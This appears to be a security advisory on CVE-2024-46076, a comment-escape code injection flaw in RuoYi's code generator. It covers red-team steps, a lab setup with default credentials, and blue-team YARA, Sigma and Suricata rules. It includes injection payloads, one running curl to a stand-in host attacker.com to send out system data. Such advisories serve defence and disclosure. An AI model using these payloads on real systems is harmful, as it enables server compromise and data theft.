CVE-2024-46076

Executive Summary

CVE-2024-46076 identifies a critical code injection vulnerability in the RuoYi v4.7.9 and earlier web application framework. The flaw resides in the code generation feature, where user-supplied input within comments is not properly sanitized or escaped. This allows an authenticated attacker with code generation privileges to inject arbitrary code that is executed in the context of the application server. Successful exploitation can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

RuoYi is a popular open-source Java-based rapid development framework. The vulnerability exists in the core code generation module, which is a standard component of the framework. Organizations using RuoYi as a dependency or as a standalone application are at risk. The lack of a patch means that supply chain security is compromised, and any application built on RuoYi v4.7.9 or earlier inherits this vulnerability. Security teams should treat this as a high-priority supply chain risk and consider temporary mitigations until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Estimated: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with code generation access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability is easily exploitable by any authenticated user with access to the code generation feature. The impact is severe, allowing full control over the application server.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) flaw in the RuoYi code generation module. The module allows developers to generate code templates for CRUD operations. User input, specifically within comment fields (e.g., table comments, field comments), is not properly escaped before being inserted into generated code templates.

Mechanism:

1. An authenticated user navigates to the code generation interface.
2. The user creates or edits a table configuration and injects malicious code into a comment field (e.g., */ java.lang.Runtime.exec("calc"); /*).
3. The system generates code (e.g., Java, SQL, or HTML) using a template engine (likely FreeMarker or Velocity).
4. The injected comment is inserted into the generated code without proper escaping.
5. When the generated code is executed (e.g., compiled and run), the injected payload is executed in the context of the application server.

Root Cause: Lack of input validation and output encoding for comment fields in the code generation template. The template engine treats the injected content as part of the code, not as a literal string.

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi v4.7.9):

// In GenUtil.java or similar
public String generateCode(TableInfo table) {
    String template = "// Comment: ${table.comment}";
    // Direct substitution without escaping
    return template.replace("${table.comment}", table.getComment());
}

Patched Code (Hypothetical Fix):

// In GenUtil.java or similar
public String generateCode(TableInfo table) {
    String template = "// Comment: ${table.comment}";
    // Escape the comment to prevent code injection
    String escapedComment = StringEscapeUtils.escapeJava(table.getComment());
    return template.replace("${table.comment}", escapedComment);
}

The vulnerable code directly substitutes user input into a code template. The patched code uses a proper escaping function (e.g., StringEscapeUtils.escapeJava()) to neutralize any special characters that could break out of the comment context.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a RuoYi instance (v4.7.9 or earlier) with a valid user account that has code generation permissions.
• Knowledge of the target's code generation endpoint (typically /tool/gen).

Exploitation Steps:

1. Log in to the RuoYi admin panel.
2. Navigate to System Tools > Code Generation.
3. Create a new table configuration or edit an existing one.
4. In the "Table Comment" or "Field Comment" field, inject a payload that breaks out of the comment context. For example:

   */ 
   // Injected code
   System.out.println("PWNED");
   /*
   

5. Save the configuration and generate the code.
6. The generated code will contain the injected payload. When the generated code is executed (e.g., by deploying the generated controller/service), the payload will run.

Advanced Payload Example (Java):

*/ 
try {
    Runtime.getRuntime().exec("curl http://attacker.com/$(whoami)");
} catch (Exception e) {}
/*

Lab Setup:

• Use Docker to deploy a vulnerable RuoYi instance:

  docker pull ruoyi/ruoyi-vue:4.7.9
  docker run -d -p 8080:8080 ruoyi/ruoyi-vue:4.7.9
  

• Access the application at http://localhost:8080.
• Log in with default credentials (admin/admin123).
• Navigate to the code generation module and perform the exploitation steps.

Blue Team

Detection:

• Monitor for unusual activity in the code generation module, especially modifications to table comments or field comments.
• Look for patterns in logs that indicate code injection attempts (e.g., */, /*, Runtime.exec).
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Immediately restrict access to the code generation module to only trusted administrators.
• Implement a Web Application Firewall (WAF) rule to block payloads containing comment-breaking sequences (*/, /*) in comment fields.
• Apply input validation and output encoding on the server side if possible (custom patch).
• Monitor for any generated code that contains suspicious patterns.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown IPs or domains from the application server.
  • Unusual HTTP requests to /tool/gen or similar endpoints with long comment fields.
• File System:
  • Generated code files (e.g., in /ruoyi-generator/src/main/java/) containing unexpected code blocks.
  • Presence of webshells or backdoor files in the application directory.
• Logs:
  • Application logs showing errors related to code generation or compilation.
  • Access logs showing repeated attempts to modify table configurations.
• Process:
  • Unexpected child processes spawned by the Java application (e.g., curl, wget, bash).

Detection Engineering

YARA Rule

rule CVE_2024_46076_RuoYi_CodeInjection {
    meta:
        description = "Detects code injection attempts in RuoYi code generation comments"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46076"
    strings:
        $comment_break = "*/"
        $java_payload = "Runtime" nocase
        $exec_payload = ".exec(" nocase
        $curl_payload = "curl" nocase
        $wget_payload = "wget" nocase
    condition:
        all of ($comment_break, $java_payload) or
        all of ($comment_break, $exec_payload) or
        all of ($comment_break, $curl_payload) or
        all of ($comment_break, $wget_payload)
}

Sigma Rule

title: CVE-2024-46076 RuoYi Code Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit code injection in RuoYi code generation comments
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: ruoyi
detection:
    selection:
        EventID: 1001  # Example: Application log event
        Message|contains:
            - "*/"
            - "Runtime"
            - ".exec("
            - "curl"
            - "wget"
    condition: selection
falsepositives:
    - Legitimate use of these strings in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46076 RuoYi Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/tool/gen"; http_uri; content:"comment"; nocase; http_client_body; pcre:"/(\*\/|Runtime|\.exec\(|curl|wget)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Code Generation: If not required, disable the code generation feature entirely by removing or restricting access to the /tool/gen endpoint.
2. Access Control: Restrict the code generation module to only highly trusted administrators. Use role-based access control (RBAC) to limit who can create or modify table configurations.
3. Input Validation: Implement server-side input validation to reject any comment fields containing special characters like */, /*, or Java keywords like Runtime, exec, ProcessBuilder.
4. Output Encoding: Apply proper output encoding (e.g., StringEscapeUtils.escapeJava()) to all user-supplied data before inserting it into code templates.

Long-Term Fix:

• The vendor (Ruoyi) should release a patched version that properly escapes user input in the code generation module. Until then, organizations must apply the mitigations above.
• Consider forking the project and applying the fix yourself if you have the resources.

Monitoring:

• Continuously monitor for exploitation attempts using the detection rules provided.
• Review generated code files for any anomalies.
• Audit access logs for the code generation module.

Valters IT